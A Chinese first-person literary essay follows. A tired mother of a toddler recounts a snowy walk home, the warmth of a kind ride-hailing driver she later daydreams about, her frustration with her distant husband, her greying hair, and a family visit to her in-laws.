我因为夜里屡次起来给孩子冲奶,常常睡不好觉。等白天,中午不用值班的间隙,我难得有空在办公室打开躺椅,“呼呼”大睡一觉,不到一个小时的时间里,我睡地昏天昏地,只怕有人把我抬走,我都不知道。我也不知道,为什么中午有机会在办公室躺一下,睡个午觉,是那么好。 我睡醒一觉起来,冒着冬天的寒气走在走廊里,我的头是发懵的,我的眼神是发呆的,我的身体是机械的慵懒的。有那么一瞬间,我突然觉得,我还是个孩子啊。尽管我是四十岁了,在那些小姑娘眼里,我已经是老太婆了。我也知趣地在言语间做出一副老太婆的样子。我也早就忘了自己小姑娘时候的样子。 可是,那天,当我午睡醒来,当我头脑发呆地行走在外面走廊里,我突然觉得我自己还是个孩子啊。我还是像小时候那样,午睡醒来,呆呆地行走在路上,我渴望妈妈的温暖,渴望亲人的搀扶。 可是,童年的我早就远去,我的那些亲人,我的爷爷奶奶,也早已故去,我的妈妈,也早就变老了。支撑我,支撑我这个□□的,支撑我的孩子的,只剩下我了。不管我的内心还有没有一个小女孩,我都必须坚强起来。何况,我自小就很少得到亲人的关爱和妈妈的拥抱。因此,我放下我早就放下的软弱,拿起我四十岁该有的坚强独立、无所谓和无所畏惧。拿起一个中年妇女该有的模样,为了我的孩子,冒着外面的风寒,向前走去。 下雪了,为了防止滑倒,走廊上铺了一张张金黄色的麦草织就的草甸子。漫空中全是飘飘洒洒的雪花。我出去上一趟厕所,都是盯着路面和自己的鞋面,小心翼翼地往前拖行。 楼下,两个年轻的小姑娘在雪地上划圈儿,堆雪人。 是的,两个美好的年轻人在堆雪人,她们真年轻,她们真好。可是,作为一个庸俗的中年妇女,作为一个一岁孩子的妈妈,我是没有这样好的心情了。我很忙,疲于奔命,我没有心情去堆雪人了。 我活地很紧张,我像是枝头上暂时停下来的的小鸟,不知道什么时候,又会飘来一团雪,毫不留情地扑打在我的脸上,我又得在我暂停的枝头上飞逃。 四十岁,明白了自己的妈妈不能保护自己。明白了自己作为妈妈应该好好保护自己的孩子。四十岁,生活把我摔了个跟头,它正在对我怒目圆睁,虎视眈眈,我只有自己爬起来,撸起袖子,坚持干,跟生活对着干,跟生活摔跤,把难为我的生活给撂倒。我不干它,它就要干我。我不把它撂倒,它就要把我撂倒。 生活是虎还是狼,我不知道。我知道我的心里也有一头兽,它在我的胸腔子里蹬着蹄子,喷着烈火,嘶吼着要从我的胸腔子里冲出去。可是它冲不出去,它憋闷地难受,也把我撕咬地难受。有时候我能看到它的样子,它像驴又像鹿,像豹又像狗。它是一定要从我的胸腔子里冲出去的。只是需要我来通过我的自我涅槃或是毁灭,来使它冲破我体内的魔咒。那魔咒是什么?那是我的祖辈,还有我的母亲,和我的生物学上的父亲,用他们的骨血给我的诅咒。他们坚强如钢,也性如烈火。我背负着这些,兴奋地难受,也被烈火焚烧地难受。 抬眼看看旁边,枯木一样的石榴树的枝头,挂着几个枯死的石榴,黑褐色的,还保留着圆圆的石榴的躯壳和长长的炸开的嘴,只是干枯了。它们一个个静止在枝头,与头上蓝蓝的天空对视着。这些枯萎的生命!然而,它们经历了整整一个冬季。它们是否已经经历了很多个冬季?如此以来,它们该不该为它们枯萎的生命感到欢喜? 下雪了,雪把我的心清理地干干净净,什么也没有,除了寒冷。雪下个不停,把外面的世界映照地很白很亮。 今年的雪很大很冷,不知道以后会不会还有一场更大的雪。 “应该会提前下班的吧?否则路面打滑,路上怎么走。” “是的。怎么到现在还没有通知啊。肯定要提前下班了。” 办公室的女孩子说。 四点钟的时候,群里信息通知,今天提前下班。我端着手机走出办公室,准备打车。 天太冷,雪太大,迟迟没有回应,我就在楼下大厅南侧的墙下停了下来。 办公室的小田跟小草一起撑着伞走过,她们看到了站在墙角的我,远远地问我:“宋编辑,你在干嘛?”我笑笑说:“噢,没事儿,你们先走。”她们远远地走去开车去了。现在的九零后的女孩子基本上都是独生子女,自家条件好,所嫁的婆家条件也好,她们个个会开车。而我,我是真地买不起车。我低头盯着手机上的“滴滴打车”,又添加了几个车型,仍旧没有回应。 待在单位里不走,也是尴尬,那就走吧,边走边等着“滴滴”,看看有没有回应。头上是簌簌下落的雪花,我把羽绒服的帽子戴起来,一路盯着手机,到了站台上。我一手拎包,一手低头盯着手机,还是迟迟没有回应。 今天如果打不到车,怎么办。这里距家有十几里路。荒郊野外,前不着村,后不着店的。家里还有孩子要照应,即使这里有地方住,也难以心安呢。端午远在他老家那里上班,距离这里有七八十里路。他现在还没有下班吧。求助他也不可能了。而且,长期以来,尤其是生完孩子以后的独立坚强,让我在遇到困难的时候,已经没有向他求助和诉苦的愿望了。 雪还在下,我露在外面拿着手机的手冻地生疼。没有车来。怎么办,那就自己走回家吧。迟早是要走的。冒着十里路的大雪,走回家要多久,走到家会怎样,我不知道。但是,走吧。还能怎么办呢。地上积了厚厚的一层雪,我低着头,看着车辙沟里的雪,慌里慌张地往前冲。我走走,跑跑。身边不时有别人的汽车经过。不知道车上是不是我的同事和领导。他们看到雪地上冒雪独行的我,会不会觉得我很狼狈。这真是又寒冷又尴尬。可是我能怎么办,我买不起车,不会开车。 没办法。人到中年,脸皮该厚就得厚一点。 前面拐弯就是立交桥了,很多汽车经过这儿,这一段路又混乱又危险。桥前头,路上的雪更厚了。我踩着路边小树下厚厚的积雪往前走。前面白茫茫的,不知道要走到什么时候。还好现在是四点半,我还有时间。 我低头看了一下手机,居然有一个司机接单了。可是我已经离开了定位的地方,走出来很远了。 我怕那个司机又跑到我原来定位的地方去接我,我就给司机打电话。 我说:“喂,你好。我已经走了,不在原来定位的地方了。” 他说:“那你还需要车吗?” 我笑着说:“这样的天气,我肯定想打车。” 司机真好,没有取消订单。 他说:“那你在前面等我。我快到立交桥了,马上过来。你不要乱走哈。” 我说:“那好吧。”我想,我到哪儿等他呢。我到下一个红绿灯路口吧。雪一直下,落到我的头上,脸上,眼镜上。 这样的天,我停下来也是很冷,还是走起来吧。 我继续往前走着。路更加难走了。天阴沉沉的,路上全是雪,我只能不顾一切地走着,不知道雪水有没有浸透我的鞋子,我大姨妈来了还没有彻底结束,我冒着风寒雪寒往前跑。我知道这样的风寒对我的身体不好,可是我顾不了那么许多了。 前面,宽阔的公路旁边的林荫小道上,是蓬蓬的长青树,树顶上积了厚厚的雪,雪压在小树的头上,像是给小树戴了一顶圆圆的白白的大帽子。 这顶雪帽太大太重,把小树压得抬不起头。它们把顶着厚厚的积雪的头重重地歪在一起,歪在人行道上。行人经过,风吹雪落,“哗”地一下,就落了人一脖子。身上雪乱如梅,这可一点都不浪漫。这条林荫小道,我走地更加艰难。 好不容易到了下一个十字路口,我就停下来等那个好心人的车。 我给他打电话,我说:“我在过了立交桥的下一个十字路口等你。” 他说:“好的,你稍等一下。我马上过来哈。我开着双跳。”他的语气里不仅有职业性的应答,还有一股子温和的味儿。仿佛他不是一个“滴滴打车”的司机,而是专程赶来接我的亲戚。在这样寒冷的雪天,在这样困难的时候,他的出现,真是让我感受到了亲人一样的温暖。我放佛是一个等着亲人来接的小孩,或是一个需要帮助的女人,乖乖地站在十字路口来等他。这个未曾谋面的好心的司机师傅,像父亲,像兄长,给了我久违的温暖,让我十分感恩。 雪天,人行路难,车也同样难。一辆辆车在我身边经过。属于我的那辆车还没有来。我静静地站着等着。 我是有人管有人问的人了。 我虽然站在雪里,可是有冲我而来的即将到来的温暖。这种感觉我好像很少有过,这种感觉真的很不错。那辆闪着灯光的车终于缓缓地驶来了,在阴沉沉白茫茫的雪幕下向我驶来。他在红绿灯前方停了下来。我赶紧跑过去。 “麻烦你了。”我说,“太感谢了!” “没关系,应该的。我也快收工了。这个天,开不动了。路面打滑,为了一点钱,万一剐蹭一下,不划算。” 我说:“是的。我特别能理解。我刚才想,这么远的路,万一打不到车,不知道什么时候才能到家呢。” 他说:“自己跑回家也能到家,就是不知道跑到什么时候。十几里路,对于经常跑步锻炼的人来说还好。对于不坚持锻炼的人,跑到家够呛。” 我说:“这一路荒山野岭,渺无人烟。平时司机都不愿意来这里。何况是下雪天。今天真是多亏了你了。” 他说:“这儿靠近团山,确实是荒山野岭。” 我说:“我常听说他们去爬团山,就是这个团山吗?” 他说:“是的。现在不能爬喽。” 我说:“为什么啊?” 他说:“因为团山上有野猪,会伤人。” 我说:“真的啊。” 他说:“那还有假?前些天,一头野猪就撞在我车上。撞死了。” 我说:“真的?在哪里撞的?” 他说:“就在前面国道上。” 我说:“以前只是听说过,没想到,附近真的有野猪。” 他说:“天好的时候,晚上,出来散步,你仔细听,就能听到林子里有野猪的声音。” 我说:“野猪离人那么近,伤人怎么办?” 他说:“是的噢。野猪二百多斤,一头能把人撞死。” 我说:“那还了得,抓它!有人抓吗?野猪受保护吗?” 他说:“现在野猪泛滥,不受保护,可以抓。但是不能用电网。三百多伏的电,把人电着怎么办。” 我说:“既然野猪不受保护了,那那些人怎么不去抓呀?给它都抓起来,免得出来伤人。” 他说:“有人去抓的。野猪可没那么好抓,我抓野兔子都不费劲。我把兔子跑地没地方跑,最后钻到野玫瑰刺丛里。野猪不好抓。太费劲。” 我说:“没吃过野猪肉,不知道野猪肉香吗?” 他说:“几十块钱一斤,想吃能买的到的。你去靠近林子的人家,很多人家都有。东山也有,人家夜跑的时候,经常看见野猪。野猪身上全是瘦肉。跟猪身上的‘梅条’一样,紫色的。人家都要买跑山猪,就是因为它天天跑,身上全是瘦肉。” 我说:“那么大一头野猪,你会收拾吗?” 他说:“会收拾。它撞在我车头上,还没死透呢,我就喊人来,用绳子把它绑了带回家。” 说着,他笑了笑:“我也没喊交警,交给交警,交警就把它带走了。” 我笑着说:“是啊,交警带走怎么办。还不是把它给吃了。” 他说:“我也不是白吃,我的车子都撞坏了,修车花了几百块钱。但是,我把野猪拉回家,上千块钱,我还是赚一半。” 我说:“你拉回家卖吗?” 他说:“不卖。全部自己吃。” 我说:“也是的,人这一辈子能吃几回野猪肉。你们家人口多吗?” “不多。就我跟我妈我爸三口人。” “你还没结婚啊?” “还没有。” “那你多大了?” “三十四。” “那你还年轻的。我都四十了。头发都白了。” “我是因为我爸爸。我家以前条件好的。我爸爸做生意。后来,我爸爸病倒了,欠了很多钱,我家就全靠我了。我一开始做生意,赚了一笔钱,后来因为疫情,一下子亏了四十万。” “啊?怎么亏了那么多?” “都是工程款。他们欠着,不还。我去上门儿要钱,还得花钱请客送礼,又得上万。你是知道的。给他们喝的酒还得是好酒,差的他们还看不上。” “我不知道,我从来没给他们送过礼。所以我现在日子也不好过。我被以前的领导调走,又被现在的领导打压。反正就是各种看不上,各种践踏。” 他说:“你还是送点礼吧。否则你日子难过的。” 我说:“我就是不送。他们贪污受贿,天天欺负我们这些没钱没势的,我还给他们送!我想想就恶心!反正我现在还活的下去。我又不像他们,想升官发财。我也没什么后台。我也升不了官。人家那些有关系的,一毕业就当了中层领导了。” 他说:“我可以负责任的告诉你。他们之间也送的。” “啊?他们那些有关系的人之间也送的?”我说,“我哪里知道这些。你虽然比我年轻,可是你比我成熟多了。” “都是历练出来的。我当时欠了一屁股债,差点跳楼。我妈跟我说,她就我这一个儿子,我如果跳楼,她也跟着跳。后来,我又把生意做起来,把债还上,自己买了房和车。不过,现在生意不景气,我就出来跑跑。” 我说:“你还年轻,又是男的。不着急。我三十七八才结婚生孩子呢。婚姻也就那么回事。外面的人想进去,里面的人想出来。我不是因为有孩子,早就跟我老公离婚了。孩子基本上都是我一个人管。守寡式婚姻,丧偶式育儿,说的就是我这样的人。老公对我来说,反而是累赘。” 他说:“男人,在孩子方面还是要参与的,否则什么叫夫妻恩爱呢。” 我说:“我们早就不知道什么是夫妻恩爱了。一到家,一头扎进家务和孩子那里,什么都顾不上了。我们这些七零后、八零后的女人,本来就很传统,很务实。” 他说:“我现在倒是轻松的很,高兴了就往山上跑跑,还能抓回几只小鸟,让我妈红烧一下。” 我说:“你是不是经常打猎啊。你家在哪,靠近林子吗?” “我家在清水台,靠近跑马山。我经常上山抓野兔子。”他说,“送完你这一单,我就收工了。路面越来越滑了。” 我说:“是的。这样的天开车,太不容易了。”正说着,他的车到了我家小区的北门。 他说:“这里可以开进去吗?” 我说:“我不经常走这里。应该可以的。” 他说:“车子开不进去了。” 我说:“怎么回事儿?” 他说:“车牌号被挡住了。你等一下,我下去擦擦。” 我说:“好的。”他下去擦车牌号。擦完以后,他返回来,正要继续开车。 我说:“算了算了!我自己跑回去吧。就一段路了。下雪路滑,你也赶紧回去。” 他说:“那好吧。那要辛苦你自己跑了。” 我说:“不辛苦。都到家了。” 他说:“那好的。再见。” 我说:“再见。真的太感谢你了!” 我在路上,边踏雪跑路,边在刚刚结束的行程上,给他加了一个鸡腿——五块钱。今天虽然是雪天。但是我真的遇到好心人了。 这以后,确切地说,是这以后的黑夜,我常常想起他。想起他的说话。他说话的语气里有端午没有的扑面而来的人味儿,有我在端午那里几乎从来没有感受到的热乎气儿。他让我感受到他是一个有情绪、有心思的人。他的说话,让我那颗被雪包裹着的心得到了莫大的温暖。想想他的说话,我的心才能得到一丝安慰。 这以后,每逢我半夜里给蹬被子的孩子盖好被子,让她静静地在被窝里安睡,我自己才静静地躺下,想想我心里的那个人,想想他说话的语气,间隔着越来越久的时间,我依然能感受到他语气里的温暖。这是端午从来都没有的。 我知道是我的心里堆积了太多的雪。我只能在与这样一个陌生人的相遇里,在这样一个陌生人的身上,想一想,在虚幻的想象中得到一点点的温和气儿,来安慰我布满冰雪的灵魂。只有这时,才能从我的嘴角里露出一丝属于午夜女人的妩媚。 我承认,我很想念他,我想听他说说话。端午也说话,可是他的说话里是没有温情,没有人味的,他像是一个机械做成的人。一二三四五六七八九十,甲乙丙丁戊己庚辛壬癸。是的,他的说话就是这样。没有一丝人性的温暖,没有一点雄性的热情。甚至没有一点耐心。我为什么成了泼妇和怨妇。谁知道我心里的苦。谁知道我在这样的一个人的42度的恒温里慢慢失去了血色,慢慢没有了女人味,慢慢变得拘谨而僵硬,慢慢变成了一个男人。 孩子已经两岁了,她聪慧的眼神里看得出妈妈对爸爸的抱怨,她也不喜欢妈妈这个样子吧。她只知道安安静静地很好,不吵不闹地很好,她跟她的爸爸和奶奶一样,都喜欢不吵不闹。她不知道,妈妈在这样一堆42度恒温的人群里,妈妈的心里落了多少雪。跟端午一起的感觉,跟我跟我那个阳痿前夫在一起的感觉差不多。所不同的,是我们有了血肉的纽带,我们有了一个孩子。还有,那就是端午对我的真诚、宽容和温和,尽管那42度的温和是我并不想要的。 我和端午自从我怀孕以后就几乎没有牵过手了。我大肚子的时候,跟他走在一起,他总是急匆匆地走在我的前头,说是要为我清道。我生完孩子以后,他作为一个父亲,作为一个丈夫,对我,对孩子,都付出的太少了。 他长期的缺位,让我一步步地寒心,直到习惯了没有他,直到觉得他完全是多余的,直到我看见他就嫌弃就厌烦。 为什么我对他是一副不可思议的厌烦的嘴脸。 我也不想这样,可是他,作为丈夫,他不男人,我们动辄半年都没有夫妻生活,即使难得的一次,也是转瞬即逝,然后又陷入漫长的无性婚姻的冰窖里。他对孩子也是夜里从来不参与,白天时刻想游离。我对他已经无语了,我只想让他离开,不要出现,如果他的出现只是给我增加负担和麻烦。那他不出现就是谢天谢地,给我打了帮驾了。 因此,我会在半夜里头脑特别清醒的时候,恣意地想念着那个陌生人,我想着他,看着我旁边的孩子好好地安睡。我一点都不觉得羞愧。我的心上、肩头,落了厚厚的一层雪,我太冷了。我在自己的心里为自己寻找了一把火,在暗夜里温暖一下我的心,有可不可。 妈妈也是个人,妈妈也是个女人呢。我想着那个我根本就不知道名姓的陌生人,我想跟他一起去看雪。 是的,我想跟他说,带我去清水台跑马山上看雪吧。看天和地在茫茫的大雪里长久地凝视,像凝视着自己;看天和地在长久地凝视中慢慢地吻合在一起。看枝头的山雀儿,用它那细细的爪子胡乱地抓着平平整整的雪,把雪抓地纷乱;看雪地里的两条野狗一边踢蹬着树下的雪,一边狂叫着追逐、撕扯。看黑黑的天鹅把脖颈埋在自己的心窝儿。我想跟他一起去看雪,他是四月的风五月的花瓣六月燥热的汗,跟他一起,即使是雪天,我的布满雪的心脏也开始复活、融化,流淌出叮咚的清泉。 我在深夜的深深的思念中呼唤着他,你在哪? 不久以后,我又一次打车。那天,风很大,很冷。我盯着手机,滴滴司机慢慢地来了。那车子拐弯儿就到了我的跟前。 我上了车:“麻烦你了哈,谢谢!” “不用谢!你以前打过我的车的。” “啊?我怎么不记得了。我只看到一辆灰色的车子过来,就赶紧坐上来了,我都不记得你了。”我说。 “什么灰色的车啊,明明是黑色的。”他又可笑又委屈地说。 我说:“哦,那是我看错了。我太急着回家了。” 他说:“上次下雪天,你不记得了?” 我说:“噢,我知道了。上次真是太感谢你了。” 他说:“你还抱怨你老公呢。” “噢,是吗?”我笑着说,“我到处抱怨我老公。我都不记得跟谁抱怨过了。你每天有那么多的乘客,你怎么都记得?” 他说:“也不是全都记得。这条路上,只有你一个。” 我说:“噢。我天天忙孩子,匆匆忙忙的,有的有印象,但是很多都不太记得了。你今天好像感冒了。你的声音上次不是这样的。” “我每天接很多感冒的人,就这样过给我了。”他说。 我说:“上次,你的声音很年轻,语速很快。这次,声音变了,显得沉稳成熟了。听起来,跟之前不像是一个人。” 他说:“怪不得你没有听出来是我。” 我说:“今天天真冷啊。路上都是接送孩子的家长吧。现在当父母的可真不容易啊。又要上班,又要接送孩子。谁的点儿能跟孩子上学的点儿完全一致呢?我想想我家孩子以后上学接送的事儿,我就头大了。” 他说:“像我这样专职开车的,以后结婚了接送孩子方便一些。再忙也得接孩子。要是我儿子嘛,还可以让他等等。女儿可不行,我得早早就去候着。” 他想说话,他想跟我说话,我听得出来。我对他的那些不切实际地想象都原封不动地封存在我的脑子里。我跟着他一路说着话,慢慢地就要到家了。前面还有一段路,不到五百米了,他说话的时候,加快了速度。他想多跟我说几句,我知道。可是,我还是很平静。我到家了。 “谢谢!我得赶紧回家了,家里还有孩子呢!”我说着,急急忙忙下了车,像是一只从主人的手里挣脱的老母鸡,弯着腰,弓着腿儿,撅着屁股,慌里慌张地朝家里跑去。 是的,我家里还有孩子呢。我这个四十岁的女人,能好好地把孩子照顾好,就已经万事大吉了。我没有多余的精力去管别的了。我的头发一点点地白了。不知道的还以为我是孩子的奶奶呢。每天早上,我忙着买菜买鱼,回家杀鱼,晾衣服,给宝宝擦屎洗屁屁。然后匆忙梳头洗脸,跑去上班。然后忙了半天,才发现我居然有一缕头发没有梳起来。那是一缕或纯白或花白的头发,发如雪,一缕麻。那缕头发就那样趴在我脑袋后边,我忙了半天都没有发现。 吾年未到四十,而发苍苍,而视茫茫。年近四十,我是早就不在乎这些了。我再怎么折腾打扮,也是一副臭皮囊,脂粉气、珠光宝气和硬凹的少女气,都掩饰不了我脸上的沧桑气和大妈气。这是事实。我是不怕自己老,也不怕别人说我老的。是的,我都无所谓了。 知道我的人说,其实我脸上还没有皱纹,我的皮肤还好。还有光泽。就是白头发太多。好心的同事劝我说,你该捯饬捯饬了,不取悦别人也要取悦自己啊。我也知道一头白发别人看了感觉不好。可是我就是不想捯饬。我舍不得时间,舍不得金钱去捯饬。我把自己所有的时间和精力都给了孩子,我就把自己给放弃了。 我无心取悦自己,更无心取悦这个世界。自己不值得,人间不值得。唯有我的孩子值得。等她长大了,等她家长会上,觉得妈妈一头白发给她丢脸了,我再去捯饬自己吧。此外,我没有任何想取悦的。我也不觉得我有什么喜事让我去捯饬,我是升官了,我还是发财了,都没有。我是一个被发配被流放的人。只有这样的满面沧桑和满头白发才配得上我满身的伤痕。只有我这样的面貌下的别人不屑的眼光和厌恶鄙弃的眼神,才配得上我此刻的身份。我捯饬的油光闪亮香味扑鼻干什么呢。我的孩子她还不需要,我的孩子她还不知道。我的孩子她正需要我全情投入地照顾。此外,我有何可喜,我有何可贺。这些,都是我坚持不去捯饬的理由和借口。 我已经两三年过年不买新衣服了。我还是那个我,我的棉衣够穿够多,我的房子很小,我的柜子不多,我再买还是类似的款式和颜色。我买了来除了花钱占地方,还能干什么呢。新衣服改变不了我的处境和容貌。是的,我是如此地厌恶现在的我。我知道早晚有一天我会从这个破旧的壳子里冲出去。现在,我是一只蜷缩在黑暗里的臭虫。任何的粉饰对我来说都是束缚和枷锁。你说,我还捯饬自己做什么。 我只觉得现在的我,现在的我的容颜和一切,都不再值得拥有更好的爱情了。我相貌庸俗,孩子缠身。满面尘灰烟火色,两鬓苍苍十指黑。我除了拼命工作赚钱做家务,给我的孩子和家人以更好的生活。我还有什么别的理想吗?没有了。因为我觉得我不配了。 即使跟端午离婚,我还会再去开始一段风花雪月吗?不会了。我怎么还能向小姑娘一样放着齐腰高的孩子不顾,去凹一个小少女的造型来讨得他人的欢心。我怎么还能再像飞蛾一样不顾一切地扑向爱情的火,让它把我这四十岁的人老珠黄的肌肤烫伤。我怎么可能再闯入围城中,任其中的不可知的烟雾重重混沌种种来把我的脑袋撞懵。 我不想了,也不会了。孩子就是我的爱,她集我的亲情爱情于一身。世间一切皆空皆过客,唯有她是最永恒,最实实在在的。于是我任由我的头发白着,我知道我的头发白了,可我就是不想去改变它。任由人家说我脏说我邋遢说我恶心,我都毫不惭愧。 我体会到了差生的心情。任别人怎么说怎么做,怎么打击,我就是一个油盐不进,不在乎。我连我自己都不在乎了,谁还能奈我何。 于是,我的白头发就这样白着。管他冬夏与春秋,管他老老少少男男女女领导平民美女帅哥。管他是谁,我根本就不在乎别人在不在乎。 只是,我的头发的确白地太多太早了。 北风卷地白草折,胡天八月即飞雪。是什么事什么人让我的头发白了这么多。是那些事那些人,让我的头发白了那么多。 我还无力挣脱使我处于泥淖的他们,我还无力挣脱泥淖中的我。 我还是那个我,还是那个躯壳。 所以一头白发又算得了什么。 几乎是每天半夜,等我看着身边的小娃娃甜甜地睡着以后,我还是会想起他,想着他说话的语气,感受着他语气里的暖和气,我的冷冷的身心才能得到片刻的疗愈和抚慰。 端午不会聊天,不会跟我说知心话,他从来不会跟我情意绵绵地说话,也不会跟我语重心长地八卦,也不会跟我你来我去地好好地讨论一件事情,谈论一个问题,他就是一是一二是二,吃饭就吃饭,做工就做工,冷不丁地一句话还会把我气地半死。我们俩个根本就聊不来,我悲哀的发现我们两个根本就聊不来。我当初为什么就那么迫不及待地认定了他,也许就是因为他的清纯、单一和简单吧。 可是,那种简单有时候太单调了,单调地让我通体发寒。我们两个从始至终也没有过七月七日长生殿,夜半无人私语时。 我渴望说话,因为我在家没有人跟我好好说话。他不跟我好好说话。于是面对他,我几乎都是愁眉苦脸的,我内心的渴望变成了抱怨。他只知道我蛮横、霸道,他不知道我内心的雪有多厚,他不知道我内心的雪都是他给我的。他不知道,夫妻之间除了穿衣吃饭,还是可以好好地说说话的。 但我也知道他的好。他头脑简单,对谁都这样,他不是中央空调,他不会跟谁都假惺惺骚轰轰油腻腻,他不会跟谁都兽性大发缠缠绵绵。于是我对他还是很放心,我对他没有什么猜忌和担心。他应该没有那些想法。他应该知道,他的确没有那样棒的身体,那么多的金钱,和累地要死要活之后多余的精力,去跟谁腻腻歪歪甜甜蜜蜜了。他也应该知道,没有谁会像我那样,会在明知道他身体状况不佳的时候还会义无反顾地跟着他了。 其他的人就好吗?很难说。也许,除了巧舌如簧唇蜜腹剑,除了临时起意的包藏祸心的奸诈和诡计,其内里,不会比端午更好了。谁会像端午那样容忍我,谁会像端午那样疼爱宝宝,谁会像端午那样挣了钱大部分都给我来养家,自己只留一小笔钱来加油和零花。谁会像端午那样,跟我一起,吵吵闹闹,还是不离不弃。谁会像端午那样踏实,他没心没肺,不会说不会道,可是他也同样不会算计,不会奸猾,不会阴谋诡计,不会尔虞我诈。 想想这些,我也就知足了。 谁知道,换做他人,就不会给我的生命带来更大的雪呢。 我都四十了,不惑之年了,庸俗的老女人了。我是知道感情是用钱来表达的了。我爱我的孩子,所以我舍得为她花钱,我想给她买很多东西,我时时刻刻都在想,她还需要什么,她还缺点什么,她的吃穿用度够不够,充足不充足。同样的,我对我的老公也是如此。 这才是爱,这就是爱。当然,我不指望靠谁来捞一笔。同样的,谁也别来算计我骚扰我,我只想安安静静地生活。 可是,如果哪个王八犊子胆敢只想跟我动动嘴皮子,却不跟我谈钱,我会跟他说:“滚你妈的蛋吧!有多远滚多远!别扯你妈的犊子了!” 我这样胡思乱想一阵儿,看看我身旁的宝宝。她闭着眼睛熟睡着。我亲亲她的额头。噢,宝宝,没有什么人什么事比你更重要。妈妈为了你,什么都可以忍受,我可以忍受所有的雪,只要我的儿能够好好的。 3.大团圆 星期天,我们一家三口还有老太太一起去一家牛排店里吃自助餐。端午吃完带着宝宝出去了。我匆忙吃完也赶紧出去了。我要去找宝宝。我在那家店门口着急地张望。对面,传来了儿歌的声音,是端午抱着宝宝骑着粉色的小马儿缓缓地过来了。那是一个马队,马夫为他们在前面赶着马。那马队里响着音乐: 丁丁说他是小画家, 红蓝铅笔一大把。 他对别人把口夸, 什么东西都会画。 画只螃蟹四条腿, 画只鸭子小尖嘴, 画只兔子圆耳朵呀, 画只大马没尾巴。 咦!哈哈哈哈哈哈哈! 我边跟着拍视频,边问端午:“这一趟多少钱?” 端午伸出三根手指。 “三十?还行!这个多好玩!” 宝宝不吭声,她跟她爸爸一起,就变得跟她爸爸一样安静。她两只小手抓着小马脑袋两旁的把手,随着小马的起伏,她小小的身体也跟着小马一颠一颠的,她的样子倒真的像是骑了一匹小小的儿马。 小马在超市里灯光闪烁的彩色的长廊里行进着,我一路跟着拍视频。那个马夫也是干干净净,安安静静,一声不吭,很是应景儿。马队里响着一首首的儿歌: 锄禾日当午,汗滴禾下土。 谁知盘中餐,粒粒皆辛苦。 春眠不觉晓,处处闻啼鸟。 夜来风雨声,花落知多少。 红豆生南国,春来发几枝。 愿君多采撷,此物最相思。 我兴高采烈地看着他们父女俩,咧着嘴笑着,可是我心里有点想哭。 我在笑的时候,我的笑声里有一丝丝地哭声。 是的,这是我的老公和孩子!尽管我们经历了很多苦难,可是我们还是会好好地在一起。 不管我们经历了多少艰难的日子,我们还是自顾自地欢乐着。 端午还是那样面无表情地坐着,他坐在宝宝的身后,保护着宝宝。宝宝在她爸爸的保护下,很安心,很安静。他们父女俩儿自顾自地骑着马儿走着,他们的马队也一起向前行进着,他们一脸淡定,又一路高歌。 我是在一抬头的时候看到了他们父女俩儿。这是我最爱的人,这是目前最关心我的两个人。他们就这样梦幻般地骑着马儿来到我的世界,她们终究会这样梦幻般地来到我的世界,我迫不及待地追上他们,我们终究还是会在一起的。 放年假了,我们很快收拾东西回到了端午的老家。我要换个心情,宝宝也要换个地方。端午每天回家都可以看到我们,老太太回到自己的地盘上,也是高兴。 我们到了端午的家。放下一袋子一袋子的行李,因为天气寒冷,我给宝宝带了很多衣服、奶粉、尿不湿,还有一些所用之物,就是怕她饿着、冻着,缺少了什么穿的、用的。 我一进门儿又开始抱怨了:“地上怎么那么脏,你不能收拾收拾啊。要是我,知道老婆孩子要来了,肯定会收拾地干干净净的。你把你放在宝宝桌子上的袜子拿走!” “冰箱上放的是镜子吗?啊!你居然在冰箱上剪鼻毛!太邋遢了!你真是让我太失望了!” 我们忙着打扫卫生,门外,老头子急急忙忙地赶来了。 “大省!”他还没来得及进门,就喊。 “爸爸,你来了!我们这边忙着呢!你进来歇歇!”我说。 老头子进来了。 “来,宝宝,爷爷抱抱!来,爷爷给两个大红包,要过年了噢!” “宝宝叫爷爷!”我说。 “爷爷!”宝宝叫着。一切都是热热闹闹地,其乐融融的样子。这次,是老头子有空呢,还是我大闹天宫以后,他们进行了一番改进工作呢? “中午去外面吃。我先去点菜。你们随后来哈。”老头子说。 “好的,爸爸。我们要过会儿去。还没收拾完,还要给宝宝烧水。宝宝吃奶要准备凉开水。” 老头子走了。过了一会儿,我们收拾地差不多了,端午抱着宝宝,我们一起去端午小区对门的一家小饭馆去吃饭。 “宝宝过来,奶奶抱着!”老太太说。 “过来,爷爷抱抱!”老头子说。 “宝宝去吧,给爷爷抱抱!”我说。 老头子抱着宝宝,这次,比之前任何一次抱得时间都长。 中途,他还抱着宝宝去催菜,回来的时候,宝宝手里拿了一个亮亮的彩纸做的小风车。 “本来就该这样嘛。”我跟端午说,“本来是习以为常的,在你们这里成了千载难逢。” 回到家,端午把他的被子捧在阳台上晒。 我问他:“你的被套多久没有洗了?” 他说:“一个月。” “脏死了。你为什么不洗洗啊?” “不脏,晒晒就行了。” “你自己闲着玩也不能换换被套啊?你不洗拉倒,我不给你洗!” “我今晚搬过去,三个人一起睡。” “你别过来了,你还是自己睡吧。马桶多久没有刷了?” “一个月。” “天呢。你那马桶垫子是一次性的吗?” “是的。” “那我给扔了啊。我不用你的马桶垫子。我再换一个。你把马桶刷刷。我还要给宝宝烧水呢。” 我给端午买的那件棕色的羽绒服被他放在外面。 “这件羽绒服不能穿了吗?”我问他。 “坏了。不能穿了。”他说。 “哪儿坏了?” “袖子上。在厂里烧坏了。扔了吧。”他说。 我的气又来了。 “好吧,扔了吧。”我一把把羽绒服扔到门外。 端午不知道我是生气了:“对对!扔了扔了!坏了,不能穿了。” “你以后都不要让我给你买衣服!我以后不会再给你买一件衣服!”我生气地说。 “我本来就说衣服够穿,你偏买。”端午说。宝宝看着我,有点害怕了。她不知道妈妈为什么又生气了,她朝着她爸爸靠近了一些。她不知道,这是妈妈自己都舍不得买,给爸爸买的羽绒服。这件羽绒服花了一千块钱,妈妈自己可是连一件三百块钱的衣服都舍不得买呢。爸爸居然说扔就扔。妈妈能不生气吗? 我还是舍不得那件羽绒服,我又去门外把它捡了回来。幸好,没有人把它捡走。我顺手把它放进了洗衣机。 “你怎么又捡回来了?”端午问我。 “回头买个布贴补上呀!坏一点就扔掉啊!你真有钱!就是不穿,还可以送人呢,也不能扔了啊。”我说。 